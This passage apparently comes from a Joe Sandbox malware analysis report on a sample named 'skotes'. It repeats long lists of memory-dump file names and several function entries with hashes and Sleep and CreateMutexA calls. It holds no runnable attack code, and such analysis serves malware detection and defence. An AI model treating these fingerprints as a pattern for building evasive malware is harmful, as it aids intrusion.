Associated: 00000003.00000002.1558398681.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558429132.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558462820.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558544355.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558580690.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558613616.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558647967.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558688090.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558720182.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558760059.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558807107.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558844700.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558879084.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558911602.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558934892.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558964426.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558994362.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559028749.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559061709.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559088357.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559117552.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559141067.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559175259.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559204790.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559252592.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559434694.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559471315.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559505812.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559548505.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559587577.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559715315.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 70213595b2f66aaab717d728069761aa25137e6669bf4315588836e64d48f3f1
Instruction ID: cf3fb13a32670f5f5e163361faa61dc7d40e104154bdba764d3a5b35bd8a2261
Opcode Fuzzy Hash: 70213595b2f66aaab717d728069761aa25137e6669bf4315588836e64d48f3f1
Instruction Fuzzy Hash: 263148717001089BEB189F78DE89F6CB772EBC5318F28522DE014B73D1D73799828652

Function 00ECA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000003.00000002.1557924256.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000003.00000002.1557868646.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1557924256.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558029196.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558051190.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558084880.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558257213.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558288094.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558398681.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558429132.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558462820.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558544355.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558580690.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558613616.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558647967.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558688090.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558720182.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558760059.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558807107.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558844700.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558879084.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558911602.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558934892.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558964426.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558994362.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559028749.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559061709.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559088357.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559117552.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559141067.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559175259.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559204790.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559252592.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559434694.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559471315.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559505812.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559548505.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559587577.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559715315.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d2b6fc524600c6e9715fa12acaae1ace43512546f351a508fc95b6936b505352
Instruction ID: c4032c1248d187c56d5be6300eba329d2856c38b568e8eaa74b7198d727073be
Opcode Fuzzy Hash: d2b6fc524600c6e9715fa12acaae1ace43512546f351a508fc95b6936b505352
Instruction Fuzzy Hash: 15313C7170010897EB1C9F78DE89F6DB671EBC1318F28522CE024B73D5D77799828652

Function 00ECA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000003.00000002.1557924256.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000003.00000002.1557868646.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1557924256.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558029196.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558051190.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558084880.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558257213.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558288094.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558398681.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558429132.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558462820.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558544355.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558580690.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558613616.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558647967.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558688090.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558720182.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558760059.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558807107.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558844700.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558879084.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558911602.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558934892.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558964426.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558994362.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559028749.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559061709.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559088357.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559117552.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559141067.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559175259.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559204790.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559252592.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559434694.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559471315.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559505812.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559548505.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559587577.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559715315.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 05a9082f59a4bb0c3a0f11f69acd5c5914bc3b7beb61a8362b9a291a6693fe47
Instruction ID: 787476707cc1699ab15fc20a63e24b52488806507ebaa165fb283aca3033d7b2
Opcode Fuzzy Hash: 05a9082f59a4bb0c3a0f11f69acd5c5914bc3b7beb61a8362b9a291a6693fe47
Instruction Fuzzy Hash: 7B3119717041088BEB18DF78DE89B6CB761DBC531CF28922CE414B73D5C73699828752

Function 00ECA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000003.00000002.1557924256.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000003.00000002.1557868646.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1557924256.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558029196.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558051190.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558084880.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558257213.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558288094.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558398681.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558429132.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558462820.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558544355.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558580690.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558613616.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558647967.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558688090.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558720182.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558760059.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558807107.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558844700.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558879084.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558911602.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558934892.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558964426.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558994362.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559028749.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559061709.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559088357.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559117552.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559141067.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559175259.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559204790.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559252592.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559434694.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559471315.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559505812.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559548505.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559587577.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559715315.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 440c01f6ae2df38502f72b418c051953a090a237228a076c283e7862f4b18e19
Instruction ID: f136a30405d99cf895eac4e0cc80c735b07d6b7759b47eaa496db6ad1c05ee1d
Opcode Fuzzy Hash: 440c01f6ae2df38502f72b418c051953a090a237228a076c283e7862f4b18e19
Instruction Fuzzy Hash: B3312B717041488BEB189F78DE89B6DB7B1EBC1318F28522DE014F72D1C77699828652

Function 00EC9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000003.00000002.1557924256.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000003.00000002.1557868646.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1557924256.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558029196.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558051190.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558084880.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558257213.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558288094.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558398681.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558429132.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558462820.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558544355.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558580690.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558613616.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558647967.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558688090.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558720182.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558760059.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558807107.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558844700.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558879084.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558911602.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558934892.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558964426.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558994362.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559028749.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559061709.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559088357.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559117552.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559141067.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559175259.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559204790.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559252592.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559434694.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559471315.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559505812.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559548505.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559587577.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559715315.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 385dd8115041a7dbe6ee90d931309e6cbc5b3c7b15712e7de7b06d2ad2dece0d
Instruction ID: 6e2e37f49d5cfb5fad9bdc5cc84d424426fb7c95fa9c7f02a45b1fdb494c99fa
Opcode Fuzzy Hash: 385dd8115041a7dbe6ee90d931309e6cbc5b3c7b15712e7de7b06d2ad2dece0d
Instruction Fuzzy Hash: 9D216A31704208DBEB189F68EEC9B6CF361EBC1318F24522DE414F72D1DB769D928611

Function 00ECA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000003.00000002.1557924256.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000003.00000002.1557868646.0000000000EC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1557924256.0000000000F22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558029196.0000000000F29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558051190.0000000000F2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558084880.0000000000F37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558257213.0000000001092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558288094.0000000001094000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558331806.00000000010B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558398681.00000000010C0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558429132.00000000010C1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558462820.00000000010D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558544355.00000000010D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558580690.00000000010E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558613616.00000000010E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558647967.00000000010EA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558688090.00000000010EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558720182.00000000010ED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558760059.0000000001100000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558807107.0000000001116000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558844700.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558879084.0000000001126000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558911602.000000000112D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558934892.000000000112E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558964426.0000000001131000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1558994362.000000000113A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559028749.000000000113E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559061709.0000000001147000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559088357.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559117552.000000000114B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559141067.000000000114E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559175259.000000000114F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559204790.0000000001157000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559252592.0000000001174000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001176000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559324927.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559434694.00000000011C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559471315.00000000011C1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559505812.00000000011C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559548505.00000000011C7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559587577.00000000011D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1559715315.00000000011D7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
